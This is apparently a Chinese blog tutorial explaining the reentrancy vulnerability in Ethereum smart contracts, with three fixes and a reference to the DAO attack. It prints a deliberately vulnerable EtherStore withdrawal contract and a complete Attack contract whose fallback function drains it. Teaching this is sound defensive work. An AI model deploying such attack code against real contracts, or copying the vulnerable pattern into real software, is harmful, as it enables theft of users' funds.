序
王小猪区块链课堂主要介绍区块链相关问题。课堂会以主题形式来介绍。
本篇技术课堂,讨论的是以太坊智能合约的重入漏洞。
重入漏洞
重入漏洞,就是利用智能合约的Fallback机制,让合约执行额外代码。所以先要介绍一下fallback机制。
每个以太坊的合约里有且只有一个fallback函数。函数无参数,无返回值,当调用合约时,没有任何匹配函数,就会默认调用fallback函数。
此外,当合约收到Ether转账时,这个函数也会被执行。不过执行这个函数会消耗2300gas(注: 这也是防止此类漏洞方法)
下面举一个栗子来看下这个漏洞。
下面是一个被攻击合约。实现了存储和提取功能,且每次提取不能大于1ETH。
contract EtherStore { uint256 public withdrawalLimit = 1 ether; mapping(address => uint256) public lastWithdrawTime; mapping(address => uint256) public balances; function depositFunds() public payable { balances[msg.sender] += msg.value; } function withdrawFunds (uint256 _weiToWithdraw) public { require(balances[msg.sender] >= _weiToWithdraw); // limit the withdrawal require(_weiToWithdraw <= withdrawalLimit); // limit the time allowed to withdraw require(now >= lastWithdrawTime[msg.sender] + 1 weeks); require(msg.sender.call.value(_weiToWithdraw)()); balances[msg.sender] -= _weiToWithdraw; lastWithdrawTime[msg.sender] = now; } }
虽然合约的提取做了层层保护,但下面这几行代码还是有漏洞的。
require(msg.sender.call.value(_weiToWithdraw)());
这句话会发起一个转账,如果被转账的账号,存在如下攻击合约。这个攻击合约将一次转走全部ETH。
import "EtherStore.sol"; contract Attack { EtherStore public etherStore; // intialise the etherStore variable with the contract address constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); } function pwnEtherStore() public payable { // attack to the nearest ether require(msg.value >= 1 ether); // send eth to the depositFunds() function etherStore.depositFunds.value(1 ether)(); // start the magic etherStore.withdrawFunds(1 ether); } function collectEther() public { msg.sender.transfer(this.balance); } // fallback function - where the magic happens function () payable { if (etherStore.balance > 1 ether) { etherStore.withdrawFunds(1 ether); } } }
攻击者先存入1ETH,在取出1ETH。代码如下:
etherStore.depositFunds.value(1 ether)();// start the magicetherStore.withdrawFunds(1 ether);
攻击者,调用ethStore.withdrawFunds,触发转账。而转账会激活Fallback机制,也就是如下代码在转账会被激活。
function () payable { if (etherStore.balance > 1 ether) { etherStore.withdrawFunds(1 ether); } }
而fallback函数又调用了一次,Ethstore的提取函数,而此时提取函数之前的保护完全失效,转账再次发生,fallback再次被调,Ethstore的提取函数再次被调。依次循环,直到取走全部ETH。
当withdrawFunds 被反复调用时,如下的保护措施完全失效。
require(balances[msg.sender] >= _weiToWithdraw);// limit the withdrawalrequire(_weiToWithdraw <= withdrawalLimit);// limit the time allowed to withdrawrequire(now >= lastWithdrawTime[msg.sender] + 1 weeks);require(msg.sender.call.value(_weiToWithdraw)());
预防技术
这样的漏洞有三种方法。
第一种
使用transfer 转账。而不是call.value方法。原因在于transfer只提供2300gas 用于转账。没有多余的gas执行fallback函数。注:使用transfer函数转账是良好的编码习惯,之后谈到未处理call结果的漏洞,也可以通过transfer函数解决。
第二种
调整原有代码顺序,先扣钱再转账。也就是改成这样。
balances[msg.sender] -= _weiToWithdraw; lastWithdrawTime[msg.sender] = now;require(msg.sender.call.value(_weiToWithdraw)());//balances[msg.sender] -= _weiToWithdraw;//lastWithdrawTime[msg.sender] = now;
第三种
加入互斥锁,类似线程锁。
如下代码为全部三种技术都用的新合约。注: 一种技术就可以,不过为了展示所以都显示
contract EtherStore { // initialise the mutex bool reEntrancyMutex = false; uint256 public withdrawalLimit = 1 ether; mapping(address => uint256) public lastWithdrawTime; mapping(address => uint256) public balances; function depositFunds() public payable { balances[msg.sender] += msg.value; } function withdrawFunds (uint256 _weiToWithdraw) public { require(!reEntrancyMutex); require(balances[msg.sender] >= _weiToWithdraw); // limit the withdrawal require(_weiToWithdraw <= withdrawalLimit); // limit the time allowed to withdraw require(now >= lastWithdrawTime[msg.sender] + 1 weeks); balances[msg.sender] -= _weiToWithdraw; lastWithdrawTime[msg.sender] = now; // set the reEntrancy mutex before the external call reEntrancyMutex = true; msg.sender.transfer(_weiToWithdraw); // release the mutex after the external call reEntrancyMutex = false; } }
这个漏洞也是以太坊早期重要的漏洞,也就是著名的DAO攻击,也导致ETC的分叉。
本期课堂就介绍到这,下期介绍溢出漏洞。
我是王小猪,一只找疯的猪!
作者:王小猪的简书
链接:https://www.jianshu.com/p/2e41eb8dc7f4